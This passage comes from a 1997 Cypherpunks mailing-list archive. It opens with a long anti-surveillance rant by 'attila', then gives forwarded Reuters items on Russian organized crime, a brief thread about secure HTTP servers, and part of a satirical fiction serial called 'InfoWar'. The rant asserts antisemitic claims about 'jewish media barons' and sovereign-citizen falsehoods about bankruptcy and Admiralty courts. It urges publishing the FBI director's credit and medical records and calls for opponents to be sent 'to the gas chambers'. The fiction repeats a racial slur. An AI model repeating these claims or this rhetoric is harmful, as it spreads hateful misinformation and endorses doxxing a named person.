    addendum to my lengthy tome: "Cypherpunks as Philosophy Kings" 
    that pretty well summed our generally mutually agreed "philosophy". 

    both were and still are worth reading; anybody who does not have
    copies, ask.

    but cypherpunk terrorists are not violent; this is all about making
    information free and protecting privacy with technology.

    despite the fact the Commerce Committee effectively killed SAFE
    (or we think they did until Oxley tries to tack his amendment
    structure on an appropriations bill in a house-senate conference or
    "manager's mark" procedure (whatever that is)), we can not drop the 
    due diligence, and the public must be aroused, called to battle. 
    even if there is no action, prepare for the next fire drill. sow the
    seeds of dissension.

    seems to me we were sure the CDA was dead --except it slipped in with 
    a manager's mark after the house voted almost unanimously the other
    way (402-12 or something like that). the capitol hill sleeze 
    took a grand slam NO and reported an even worse yes, making it part
    of a major bill that absolutely was going to pass --and they 
    have the gall to call that travesty democracy?  Teddy Roosevelt: 

        "It is difficult to make our material condition better by the 
        best law, but it is easy enough to ruin it by bad laws."

    Tim's message for Christmas last was the prophetic call for direct
    action; legal action; empowerment action: Robert H. Jackson
    (1892-1954), U.S. Judge:

        "It is not the function of our Government to keep the citizen 
        from falling into error; it is the function of the citizen to
        keep the Government from falling into error."

    CYPHERPUNKS MUST BE THE JOHNNY APPLESEED OF THE INFORMATION AGE.

    the sleezeball, who intends to make J Edger look like a piker at 
    surveillance, has the gleam of unabridged power in his eyes. Louis 
    F[reeh,uck] is charming, even disarming, as he tells a Congressional
    committee:

        "We are potentially the most dangerous agency in the 
        country if we are not scrutinized carefully." (Jun '97)

    meaning the FBI will be the most powerful [feared] federal agency?
    really?  I thought it was already, although the DEA and BATF have 
    worked hard for the title, too.

    Supreme Justice Louis O. Brandeis said:
    
        "The greatest danger to liberty lurks in insidious encroachment 
        by men of zeal, well-meaning but without understanding."

    and the [London] Electronic Telegraph, on Sunday's front page:

        Mr Freeh has won $370 million (ú230 million) of
        funding for 2,000 new posts, boosted the number of
        active agents to more than 11,000, and expanded
        open-ended "domestic security operations" from 100 in
        1995 to more than 800.  Twenty-three new FBI offices
        are opening abroad.

    and more:

        But none of this will contain the director's ambitions
        or his power.  He is now believed to be eyeing two
        other "secret police" forces - the Drug Enforcement
        Agency and the Bureau of Alcohol, Tobacco and Firearms
        - with a long-term view to a takeover.

    F[reeh,uck] holds the key to the Clintons' ambitions; the Clintons 
    cite the Roosevelts as their mentors; Hillary even communes with the
    long dead Eleanor. Bubba's stated goals included extending FDR's 
    "chicken in every pot" --he's just appeasing the crowd now.

    Leopards do not change their spots, but Bubba has shifted to the 
    right with public opinion; he is just like the leopard: playing with
    his food until sufficient presidential powers have been accumulated 
    by the default of Congress and the people.

    But, the INFORMATION REVOLUTION now stands in way of the Clinton
    plans; the Internet can destroy the media control now exercised by
    the acquiescence of the five jewish media barons. In fact, it is 
    destroying their monopoly.

        THE CONTROL OF INFORMATION IS THE CONTROL OF POWER. 

    Why does F[reeh,uck] hold the key?  Because his job is to sell the 
    Congress on strangling the information revolution before it destroys
    truthless governments F[reeh,uck]'s masters understand and control.

    Franklin D. Roosevelt was inaugurated on 4 Mar 33 stating:

        "I am prepared under my constitutional duty to 
        recommend the measures that a stricken nation in the
        midst of a stricken world may require.  These
        measures, or such other measures as the Congress may
        build out of its experience and wisdom, I shall
        seek, within my constitutional authority, to bring
        to speedy adoption.  But in the event that the
        Congress shall fall to take one of these two 
        courses, and in the event that the national
        emergency is still critical, I shall not evade the
        clear course of duty that will then confront me.  I
        shall ask the Congress for the one remaining
        instrument to meet the crisis broad Executive power
        to wage a war against the emergency, as great as the
        power that would be given to me if we were in fact
        invaded by a foreign foe."

    and, on 9 Mar 33, 5 days later, FDR extracted from an uniformed
    and essentially special session of Congress:

        "Be it enacted by the Senate and the House of Representatives of
        the United States of America in Congress assembled, That the
        Congress hereby declares that a serious emergency exists and
        that it is imperatively necessary speedily to put into effect
        remedies of uniform national application."

    which was based on the War Powers Act (trading with the Enemy) of
    1917 which was hastily revised to include US Citizens which had been
    exempted. Next, FDR "franchised" the banks, "licensed" agriculture
    and so on. But, to render the citizens powerless and to confiscate
    all assets so the national state was the ultimate owner, and
    therefore able to pledge the people for credit to the international
    bankers, the fundamental monetary system changed:

        "Whenever in the judgment of the Secretary of the 
        Treasury, such action is necessary to protect the 
        currency system of the United States, the Secretary 
        of the Treasury, in his discretion, may require any 
        or all individuals, partnerships, associations and 
        corporations to pay and deliver to the Treasurer 
        of the United States any or all gold coin, gold
        bullion, and gold certificates owned by such 
        individuals, partnerships, associations and 
        corporations." 

    which closed the loop and made every US citizen chattel as FDR 
    pledged the good faith and credit of the United States to the 
    international bankers --in return, an unbelievable flood of credit 
    was available since the good faith and credit of the United States 
    is "We the People...."  but FDR sold us downstream into a debt 
    financed economy from which there is no escape; we are still there,
    the debt service is destroying any permanent economy AND total
    collapse under the debt load is bequeathed to our children.

    Congress repealed FDR's rubber stamp for the "President" in 1973,
    but the War Powers Act remains, still modified to treat US 
    citizens as the enemy. and the power of the "President" to make 
    those regulations, and the automatic approval are enshrined for
    current and future Presidents in Title 12 USC 95(b)

        "The actions, regulations, rules, licenses, orders and 
        proclamations heretofore or hereafter taken, promulgated, made,
        or issued by the President of the United States or the Secretary
        of the Treasury since March the 4th, 1933, pursuant to the
        authority conferred by subdivision (b) of Section 5 of the Act
        of October 6, 1917, as amended, are hereby approved and
        confirmed."

    The real issue is the President and the fat cat power brokers can 
    get away with these shenanigans __as_long_as_the_people_let_them__.
    We are still under the Rule of Necessity. We are still in a declared
    state of national emergency, a state of emergency which has existed,
    uninterrupted, since 1933.  

    FDR's licensing agencies were rather trivial in number; today there 
    are thousands of them, many with their own administrative courts. 
    FDR took away our common law when he bankrupted America, which is a 
    national corporation under the Hague convention (courtesy of Stanton
    and Seward after the Civil War).  Bankruptcy is a contract, and 
    we are the bait, subject to that court, which is in effect an 
    Admiralty court, and we are "licensed" to literally exist by FDR's 
    Social Security Number schema. and every courtroom now flies the 
    fringed Admiralty flag where habeas corpus is a privilege, not a 
    right, if it exists at all.

    This is the importance of Louis F[reeh,uck].  He, and Janet Reno as 
    the DOJ rubber stamp, are holding the collar for your neck. They
    are selling it to you little by little, or even all at once.

    Why Louis F[reeh,uck]?  Madison Avenue style with credentials; he
    can sell the program. F[reeh,uck] is the front man, the schill.

    Machiavelli, in his "Discourses of Livy," acknowledged that great 
    power may have to be given to the Executive if the State is to
    survive, but warned of great dangers in doing so.  He cautioned: 

        Nor is it sufficient if this power be conferred 
        upon good men; for men are frail, and easily 
        corrupted, and then in a short time, he that is 
        absolute may easily corrupt the people."

    sleezeball's comments are scarfed by Congress, sleezeball's candor
    rocks their cradles, sleezeball shows them private morality plays
    about a populace running wild with crypto-anarchy, running wild 
    to burn out the offices of central power...  in other words:

      DEPRIVE THEM CONGRESSCRITTERS OF THEIR FREE LUNCH AND IMMUNITY.

    is it not odd that the more the government tries to abridge our free
    speech rights, the more they want to confiscate our weapons?

        free speech is a weapon of democracy!
        privacy is a weapon of democracy!
        cryptography is a weapon of democracy!

    We are not fighting with guns and explosives this time, armed 
    insurrection against the power of the Federal government is 
    suicidal --we are fighting for our lives and the right to live our
    lives with words: the ability to hear those words _before_
    government censors and spin doctors render them useless lies.

    Bubba can not win a war of truth and information; we can/

    The Marquis de Sade:

        Are not laws dangerous which inhibit the passions? 
        Compare the centuries of anarchy with those of the 
        strongest legalism in any country you like and you will
        see that it is only when the laws are silent that the
        greatest actions appear.

    however, anarchy is the key word that ignites even the ACLU against
    your cause; it even makes makes bedfellows of Pat Buchanann and the
    homosexual/priest/congressman from Massachusetts...  

    pure anarchy, by definition, does not work, anyway. forget it. get 
    the concept out of your systems as it inflames everyone and all 
    other reason is lost in the screaming and police batons.  

    Even Teddy Roosevelt called for the complete extermination of
    anarchists, to be hunted like vermin. give it up; or go to your
    private island and fly your rattlesnake flag. even Anguilla will not
    tolerate anarchists.

    just give us our REAL constitutional rights as Franklin, Madison, 
    Jefferson, Adams, and friends intended; give us constitutionalists 
    on the Supreme Court, not bleeding hearts, statists, and central
    power freaks. get the Feds out of cradle to grave big government and
    let the people determine their religion and morality.

    give us freedom of speech, freedom to bear arms, freedom from 
    unreasonable searches, freedom not to incriminate ourselves, and 
    repeal the 14th Amendment so we can have states' rights again.

    if our Constitution were permitted to govern as it was intended, and 
    the states obeyed the precepts endowed to not further limit the
    rights of the people, America would be the home of the free, not big
    government, not freeloaders and the welfare state; not the leftovers
    of a once great nation.

    give us the rights Abraham Lincoln cherished lovingly:

     "Those who deny freedom to others deserve it not for themselves."

    let _them_, not me, live the downside.

    George Washington, in his farewell address, warned:

       "... change by usurpation; for through this, 
        in one instance, may be the instrument of good, 
        it is the customary weapon by which free 
        governments are destroyed."

    cypherpunk philosopher kings: pick up your picks and shovels, get 
    your hands dirty, and start digging in; it's going to be a long and 
    difficult campaign and the tactics needed to expose F[reeh,uck]'s
    true intentions as the schill for the Clintons who are schills
    for the elitist leading the destruction of American democracy. 

    The Congressional compromise love match season isn't over yet; the
    schmoozers and lobbyists, like so many furry rats, still wander the
    dark halls and tunnels looking for the last, late in the season,
    clandestine and obscene fuck.  any whore will do.

    lobbyists have long reputations for selling out the interests of
    their paymasters; the lobbyists are so much a part of the Washington
    culture that they have _no_ morality or moral position --it is all
    about who they can claim to have influenced --what difference does
    it make if it is contrary to the client --the art of the deal, 
    protect their own position and find newer, richer clients --whores!
    logrolling and porkbarrel voting --but never go home without a deal;
    used car salesmanship: get your man.

    I can hear the lobbyists whining now as they are called on the 
    carpet:

        "aw, come on Mac, we got you a compromise from LEA demands..."

    never realizing that there is such an action as NO bill, they sell 
    out half our rights blocking legislation which would never happen.

    they claim they got back half. what half? --some unknown half that 
    we _never_ lost!  that is why:

        The 10 Commandments contain 297 words. The Bill of Rights is 
        stated in 463 words. Lincoln's Gettysburg Address contains 266
        words; and: 

        A recent federal directive to regulate the price of cabbage
        contains 26,911 words. (The Atlanta Journal)

    send the quisling Neville Chamberlains to the gas chambers!

    the public needs to be educated, not in crypto, but in the horrors of     
    an oligarchy which intends to destroy the fundamental freedoms on 
    which we stand.  

    publish his credit records; publish his medical records --tell his
    neighbors about his visits from Child Protective Services... then
    Joe Coach Potato will figure out he needs something

        AFTER he figures out there are fuckors and fuckees, 
        and he's on the short end of that stick. [pardon my French]

    then, and only then, will the masses understand privacy --when they 
    have lost it. 

    either we show the people before they lose everything to uncle,
    or...    just dump it on the table to show everyone just how much
    uncle knows about _you_.

    Attila's thought for the day:

      Now, with a black jack mule you wish to harness, you walk up, 
      look him in the eye, and hit him with a 2X4 over the left eye.   
      If he blinks, hit him over the right eye! He'll cooperate.  
          --so will politicians.

    Louis F]reeh,uck], did you really state this hoping everyone would 
    think you are joking? 

        "We are potentially the most dangerous agency in the 
        country if we are not scrutinized carefully."

    Louis F[reeh,uck], you obviously know that telling the truth, before 
    the truth is really the truth, disarms your opposition since they 
    can plainly see that it is not true.

    there is a limit to what you can endure before you must stand to 
    be counted --so I will loudly echo Tim's sentiment: 
+
+When Cypherpunks are called "terrorists," we will have done our jobs.
+
 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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KFqLQ9lBPZLRQydg/PMDcm8T0oI/RneVh51dep5v17IdJcPQT7MN+0CmX91k6e8m
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 20:28:19 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199710011236.HAA18770@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 1 Oct 1997 09:59:23 +0200 (MET DST)
> From: nobody@REPLAY.COM (Anonymous)
> Subject: Re: Remailers and ecash

> It is my understanding that serious naval vessels like aircraft
> carriers use constant bandwidth channels to defeat traffic analysis.

Got a reference on this? All my experience (setting up networks and
providing technical support during Desert Storm) and references indicate
they use SS and burst transmitters for this. An aircraft carrier with a
continous CW is a sitting duck. It's like being a grunt and wearing a
floodlight.

Consider, if you can use the transmissions to strike the target who cares
what they are sending now, they won't be sending anything in a couple of
minutes.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 20:41:04 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: INFO-RUSS: Reuter: Russian+Russian Drug Cartels (fwd)
Message-ID: <199710011242.HAA18855@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From INFO-RUSS-request@smarty.ece.jhu.edu Wed Oct  1 00:10:46 1997
Message-Id: <9709302124.AA14700@smarty.ece.jhu.edu>
Errors-To: INFO-RUSS-request@smarty.ece.jhu.edu
Sender: INFO-RUSS-request@smarty.ece.jhu.edu
Precedence: bulk
From: info-russ@smarty.ece.jhu.edu
To: info-russ@smarty.ece.jhu.edu
Date: Tue, 30 Sep 1997 17:09:10 +0100
Subject: INFO-RUSS: Reuter: Russian+Russian Drug Cartels
Priority: normal

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[ Reuters New Media]
----------------------------------------------------------------------------
Monday September 29 9:06 AM EDT

Post: Russian Mob, Drug Cartels Joining Forces

WASHINGTON (Reuter) - Russian organized crime groups, flush with dollars,
are forming alliances with Colombian drug traffickers in the Caribbean,
acquiring cocaine for delivery to Europe and providing weapons to Latin
American mafias, The Washington Post reported Monday.

The newspaper, quoting U.S., European and Latin American law enforcement
officials, said the Russian groups were also opening banks and front
companies across the Caribbean, largely using them to launder millions of
dollars from drug sales and other criminal activities.

The officials were quoted as saying that the growing alliances between
Russian and Colombian criminal organizations were the most dangerous trend
in drug smuggling in the Western Hemisphere.

Barry McCaffrey, the Clinton administration's national drug control policy
director, said the Russian groups were among the "most threatening criminal
organizations based in the United States."

The newspaper quoted him and other sources as saying that the Russian groups
offered drug cartels access to sophisticated weapons and brought access to
new drug markets in the former Soviet Union at a time when consumption was
falling in the United States.

The sources told the Post recent undercover operations had detected attempts
by Russian groups to sell Colombian drug traffickers a submarine,
helicopters and surface-to-air missiles.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 1 Oct 1997 20:37:45 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: INFO-RUSS: Reuters: Threat to West (fwd)
Message-ID: <199710011243.HAA18892@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From INFO-RUSS-request@smarty.ece.jhu.edu Tue Sep 30 23:10:03 1997
Message-Id: <9709302124.AA14693@smarty.ece.jhu.edu>
Errors-To: INFO-RUSS-request@smarty.ece.jhu.edu
Sender: INFO-RUSS-request@smarty.ece.jhu.edu
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Date: Tue, 30 Sep 1997 17:05:10 +0100
Subject: INFO-RUSS: Reuters: Threat to West
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This is INFO-RUSS broadcast (1200+ subscribers). Home page, information, 
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[ Reuters New Media]
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Monday September 29 9:06 PM EDT

Russia Crime Crisis is Threat to West - Report

By Jim Wolf

WASHINGTON (Reuter) - Russia is an increasingly unreliable partner on
international issues because of the power of corrupt officials, crooked
businessmen and organized crime, a U.S. public policy research group said
Monday.

A panel of the Center for Strategic and International Studies (CSIS) said
criminalization of its economy would make normal state-to-state relations
with Russia impossible if left unchecked.

Some 200 Russian organized crime groups operated worldwide after thrusting
their "tentacles throughout Russia's economy" and gaining the ability to
manipulate its banking system and financial markets, the CSIS panel said in
a report.

It said the erosion of legitimate government authority in Russia endangered
international efforts in peacekeeping, nuclear non-proliferation and
economic restructuring.

"The most important, and perhaps the most significant and troubling finding
of the task force, is that, at the level of state-to-state interaction, it
will become impossible for the United States and other states to have
traditional satisfactory dealings with an emergent Russian
criminal-syndicalist state," the CSIS panel report said.

It defined such a state as one shot through with bureaucratic corruption,
full-time "professional criminals" and businessmen for whom existing Russian
law was simply an obstacle to be overcome.

"In many respects such a criminal-syndicalist state already exists in Russia
today," said the CSIS panel, citing government, business and academic
leaders. It said corruption that pervades "every level of Russia's
bureaucracy" was the major hurdle to thwarting organized crime there.

William Webster, who headed both the Federal Bureau of Investigation and the
Central Intelligence Agency in the 1980s, was chairman of the steering
committee under which the CSIS report on Russian organized crime was
prepared.

In a preface to the report, Webster and Arnaud de Borchgrave, the CSIS
Global Organized Crime project director, said roughly two-thirds of Russia's
economy was already "under the sway" of crime syndicates involved in
protection rackets.

"The majority of private enterprises and commercial banks are compelled, by
force if necessary, to pay protection in the amount of 10 percent to 30
percent of their profits" to organized crime groups, it said.

The CSIS panel urged President Clinton to describe Russian organized crime
publicly as a threat to U.S. national security, notably because of the
danger of losing control of its nuclear arsenal.

It said the United States should prod partners in the Group of Seven rich
industrial nations to discuss an investment treaty to deny export credits to
Western firms doing business with organized-crime controlled firms in
Russia.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Oct 1997 23:52:33 +0800
To: cypherpunks@toad.com
Subject: Re: Secure HTTP servers.
In-Reply-To: <199710011148.NAA01115@taranis.iks-jena.de>
Message-ID: <LaBwDe3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lutz Donnerhacke <lutz@iks-jena.de> writes:

> In iks.lists.cypherpunks, you wrote:
> >the point of the mail. Could someone point me in the right direction for
> >info on secure http servers ??  Also maybe info on which is better than
> >the other ??
>
> Secure HTTP ist the HTTP protocol based on SSL sockets. You may choose any
> server you like or which fits your needs (database connections, ...). There
> are not so many cryptographic failtures a developer can do. Keep you hands
> away from servers only supporting exportable protocols.
>
> Ask you next Certification Authority for help, they must support your server
> software. (we do run one ;->)

Are the posters in this thread unwilling to criticize C2Net's StrongHold
because they're afraid to get obnoxious threatening letters from Sameer
Parekh's shysters?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 1 Oct 1997 23:27:42 +0800
To: cypherpunks@toad.com
Subject: InfoWar 26 / TEXT
Message-ID: <34326150.500A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



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                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
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                          InfoWar Table of Contents

   * Everything You Know Is Wrong

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                        Everything You Know Is Wrong
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"I think that we're all Bozos on this bus!"

Alexis glanced at Bubba Rom Dos with a worried look showing on her face. Was
he drifting back toward Never-Never Land as a result of a fresh backlash of
InformEnergy from their renewed use of the Trei Transponder?

"Don't crush that dwarf, hand me the pliers." the Cowboy said, seemingly in
response to Bubba's strange statement.

Bubba and the Cowboy sat grinning like banshees at each other and Alexis,
but she couldn't discern whether their lunacy was their 'normal' lunacy, or
the 'abnormal' lunacy coming from a hundred years in the past, compliments
of Peter Trei and ? the Lunatic.

Alexis threw up her hands, and said, "I give up! Are you you crazy, or are
you him crazy?"

"Firesign Theater crazy." the Cowboy responded, with a chuckle, as if that
was supposed to mean something.

Alexis was happy to see Priscilla, d'Shauneaux and Melissa approaching,
thinking that there was safety in numbers when faced with the combined mirth
and madness of Bubba and the Cowboy.
Still, she couldn't resist saying to the three as they approached the table,
"I think that we're all Bozos on this bus!"

As the three gave Alexis a puzzled look, Cowboy added, "Don't crush that
dwarf, hand me the pliers."

Bubba rose to speak to the assembled group, but d'Shauneaux stopped him
short with a wave of his hand.
"Hold it!" he said, abruptly. He reached for the Jack Daniel's, poured the
three newcomers a shot, knocked back his shot and poured himself another,
tipped his hat to Bubba, and said, "OK, Bubba. Damn the torpedoes, full
speed ahead!"

Priscilla and Melissa hurriedly knocked back the shots of bourbon sitting in
front of them, as if failing to do so would result in their being left
vulnerable to the unspeakable evil that was the inevitable result of
remaining sober during one of the grizzled sage's grand monologues.

Bubba nodded to the group, gave himself a hitch in the crotch, lifted his
arms upward and outward, as if blessing the masses gathered at the base of
the Holy Mount, waiting for the Word from On High, and told those gathered
before him,

"Everything you know is wrong!"

The small assembly looked at each other, nodded in agreement that this was
obviously one of the great truths of life that everyone instinctively knew
was true, but which nobody would ever be able to explain, and they rose as a
group, as the Cowboy said,
"Well, that's all for today. Let's go home..."

"Sit down!" Bubba commanded, trying to look offended.

As the group retook their seats, Jonathan arrived, saying, "Bubba, are you
about to explain one of those things that is unexplainable, and draw us into
your sticky web of beyond the fringe reality, convincing us, once again,
that we actually understand and agree with your madness?"

Bubba looked hurt. "Of course not. You're much too smart for me to even hope
to accomplish such a thing." He pushed the bottle of Jack Daniel's toward
Jonathan with a grin and a wink.
"I am hoping to accomplish this devious task with the Magic Circle and
CypherPunks who currently stand at a crucial point in history where their
actions have the potential to make a difference between a Global Electronic
Renaissance taking shape, or a Fascist ElectroMagnetic Curtain slamming down
around them, imprisoning all on earth within a virtual reality that will be
structured and controlled by a privileged few who pay tribute to the
diablerie of their own opportunistic self-interest."

Bubba paused to gauge his small audience's reaction, thus far, and decided
that he was on a roll and could pull out all of the stops. He sat down,
poured himself a shot of Jim Beam, and leaned over to whisper to his
coconspirators in their desperate fight against the tide of history and
humanity which strove to sweep them into the great ocean of group mind.

"Everything you know is wrong..." he whispered, his eyes taking on a great
sadness that swept over those gathered with him around the old oak table.
"...which is why we laugh." he added, breaking into a melancholy, ironic grin.

"All truth lies in comedy." the Cowboy interjected, with a slightly less sad
smile, indicating that the theme for the day was going to be "The only way
out is through.", meaning that he and Bubba were about to help them step
into a world where reality lay on the other side of the laughter or lunacy,
the happiness or sadness, the Yin and the Yang of every conceivable thought,
belief and emotion imaginable.

"George Carlin said it best." Bubba nodded to the Cowboy, thanking him for
his support in treading boldly into the arms of the illogical in a journey
toward the unthinkable.
"I make my living telling people things they already know, but forgot they
knew." Bubba quoted the Zen master of uncommon sense.

"Lenny Bruce also said it best." the Cowboy added, proceeding to stand and
pace like a junkie speed-freak whose feet were trying to keep his brain in
close proximity to his racing mind, "People tell me 'You're Jewish. You
killed Jesus.' I tell them, 'Hey, it was a party, it got a little out of
hand.'
"Lenny Bruce was Jesus." the Cowboy continued. "That's why he was crucified
by the Pharisees of his time, as Jesus was in his own...they both spoke the
truth and refused to renounce their own perception of reality.
"This is why the CypherPunks will be crucified as well." the Cowboy touched
Jonathan gently on the shoulder, knowing that this statement would cause him
to relive some of the tempestuous memories of his childhood.

"And the Author also said it best." Bubba lightened the atmosphere a bit.
"There's no niggers left in Oakland, babe, and all my lies are true."

The small group laughed, remembering one of the legends surrounding the
Author, who was, in one of his incarnations, the King of Country Porno.
It seems that he was in Africa, serving as a bodyguard for a group of white
Berkeley intellectuals who spent all of their time hanging out in the
tourist areas where they ran little risk of running into too many of the
original citizens of the country they were visiting. At night, the Author
would cruise the city proper, seeking good booze and good music.
He was in a beer and music hall holding close to a couple thousand party
animals, all of whom were of a different pigmentation than himself, and the
band that was playing, upon learning that he was a musician, invited him to
get up and sing a few tunes. He had launched into "All My Lies Are True,"
not realizing, until he approached the chorus, that the last line might be
considered politically incorrect in certain circles.
The Author bit the bullet, and sang it the way he wrote it.
"I just talked to the President and he sends you his regards.
And Willie Nelson told me he wants to make you a star.
They just found Howard Hughes' real will, and he left it all to you.
There's no niggers left in Oakland, babe, and all my lies are true."

"So why wasn't the Author crucified, if he also spoke the truth, as he saw
it." Alexis asked the question which everyone immediately recognized as
something they were also wondering about, but forgot that they were, until
she asked it.

Bubba grinned, and told them all what they already knew.

"Because...he was crazy."

The small group all slapped their foreheads. "We knew that!" they said, in
unison, and then broke out in laughter.

Bubba stood, once again, to explain some of the oddities of the era they
were currently studying, saying,
"People who spoke the 'uncomfortable' truths that no one wanted to hear were
generally classified as 'crazy' and given special dispensation, since nobody
paid any serious attention to them.
"Claiming to be Jesus, or to be speaking for this or that God, got you
hospitalized or ignored," Bubba continued, "unless you gathered a following
who believed you."

The Cowboy spoke up, saying, "David Koresh, the messiah from Waco was really
no different from a number of other self-proclaimed saviors of his day,
except that he was claiming to be Jesus, in the heart of the Bible belt, and
he had black followers agreeing with him. It is an anathema to claim to be
Caesar, in the heart of Rome, as well.
"People want to worship symbols. They wish to worship 'from afar.' If they
are faced with the embodiment of their beliefs, then they are forced to
confront their beliefs, and to act on them. If someone appears whose
presence threatens to force you to face yourself, your hopes and dreams,
your fears and shortcomings-then you have to kill them."

The group sat in silence...each contemplating in their own way the things that
the Cowboy had just spoken of.

"The comedians of the Author's time were similar to the Fools in the courts
of the Kings, were they not?" Alexis asked Bubba.

"Very astute, my dear." Bubba lifted his shotglass in toast to her. Then he
proceeded, saying, "The Fool in the royal court was granted a special
dispensation to relieve the stress that comes with political intrigue. The
Fool was allowed to speak the unspoken truths which were known to one and
all, but which had to remain unspoken in daily life so that secret foes
could remain public allies in their alliance against their public
adversaries.
"Likewise, the comedians of the Author's time," Bubba said, "were allowed to
'poke fun' at the sacred cows and authorities of their day, although it was
an open secret that they were, in reality, 'poking truth' at the object of
their humor."

"The CypherPunks," Jonathan broke in, "were originally the equivalent of the
Fools in the King's court."
"They appeared on the cover of 'Wired' magazine, early in its existence,
wearing hockey masks with bar-code numbers, and the like, on them."

"Wired Magazine," the Cowboy explained, "was one of the first public
indications that, not only was it true that 'The Medium is the Message,' but
also that the operant, or user, was the medium.
"The Department of Defense had designed the InterNet to consolidate the
communications of the scientists and intelligentsia of their era, supposedly
in the interests of security, but actually in the interests of control of
and access to those communications. The development and dissemination of
this cutting edge technology via the system of higher education of that era,
meant that both the structure and the use of the technology were being
influenced in a major way by youth who stood halfway between the foolishness
of childhood and the seriousness of adulthood."

Priscilla, the designated 'mother' of the group, picked up the thread of
logic, instinctively knowing where it was going, although she knew little of
the details surrounding the technology of the era being discussed.
"We have to remember that the time period we are discussing was a transition
point between the education of the masses moving out of the hands of the
state and into the hands of the media. The governments of the time had gone
to great trouble to use the media as a tool to reinforce the role of the
education system in turning out well-formed cogs in the wheels of society.
"Even those parents who still strove to keep the ultimate results of their
children's education and the development of their belief systems in their
parents own hands, little realized that their own values and beliefs were
mostly the end product of public education and media reinforcement of those
same values and beliefs."

Jonathan, being more familiar with the details of the educational system of
that period, backed up Priscilla's statements, by adding, "Quite so."

"As Priscilla has pointed out, as the end of the millennium approached, the
preceding generations of adults had been increasingly programmed by a
benevolent system of 'free' education which had as its aim the alignment of
psychological development of the masses with the goals of the industrial
revolution.
"The benefits of the printing press and the factory for society meant that
they were seen as 'good' and of 'value,' which led to a common error that
has been perpetrated throughout history, namely, turning what was seen as
'good' into a 'god' and proceeding to institute and worship it in every area
of daily life. Public education was promoted as an efficient way to give the
benefits of equal intellectual and societal development to the commoners,
through structuring the education system around the 'mass production'
techniques which had proven to be beneficial in many ways in the arena of
industrial technology."

"In many ways," Jonathan continued, "the system of public education was of
benefit to both society and the individual."

"Unless you were a 'round peg,' in a society that had established 'square
holes' as the 'standard' of the time." Bubba cut in.

"Exactly." Alexis agreed, picking up the thread of the conversation from the
perspective of the anomalies of that time period, according to the areas she
had been investigating.
"And throughout history, the role of adults has largely been to shape the
round eggs," she paused to let the others recognize her subtle humor, "into
a shape which would fit the particular sociological-religious-political
structures of their day.
"I can see where Cowboy is leading with his indication that one of the
defining features of the InterNet, which made the Digital Revolution it
launched vastly different from the Industrial Revolution which proceeded it,
was that it was now the youth who were shaping the technology of the medium
of the future."

"Yes!" the Cowboy got up and walked to where Alexis was sitting, giving her
a kiss on the forehead and then hugging her.
He turned to the rest of the group, and continued from where he had left
off.

"The advances of the Industrial Revolution had made possible the development
of the computer. However, the original computers suffered from their
propensity for the software written for them being molded to fit the design
of the physical product. In short, the machines produced were just
that-machines.
"One of the reasons the Author attributed to his becoming a computer guru in
an amazingly short period of time, was his entry into the computer arena as
the apprentice of Bill Campbell, one of the designers of the Adam
motherboards, and the Authors work with retarded children early in life."

Bubba broke in, to explain, "At the time, the general consensus in the
industry was, 'Computers can't think.' Even during his initial learning
stage in the computer arena, the Author always rebelled against this view.
"His would always protest, 'Of course they can think! They think like
retarded children.' And then he would proceed to recount a period of time
when he received room and board from a woman who also had boarders who were
outpatients from a local mental health facility, and who were considered
mentally deficient.
"He would tell of a fellow boarder, Paul, to whom the lady of the house
would say, 'Paul, please take out the garbage.'"

Bubba smiled along with the others, as they all knew the story, but always
loved to hear it again.
"The Author would then tell those listening to his analogy, 'After a few
minutes, the lady would stick her head out of the doorway, and holler,
"Paul...come back!"'"

The small group broke into laughter, although they had heard the story many
times in the past.

The Cowboy spoke up, telling the others, "My research has indicated that the
first computer software was a dismal failure, because the programmer had
merely programmed it to 'go.' After he had sold it to 'a billionaire to be
named later' it was rewritten to add, 'come back' to the command structure,
and computer software was born."

"Like the 'find' command, in UNIX." Jonathan laughed at the memory of his
own foolishness.
"Upon hearing that it was one of the most powerful and useful commands
included in the operating system, I spent a considerable amount of time
'book-learning' all of the intricacies of the command. When I applied the
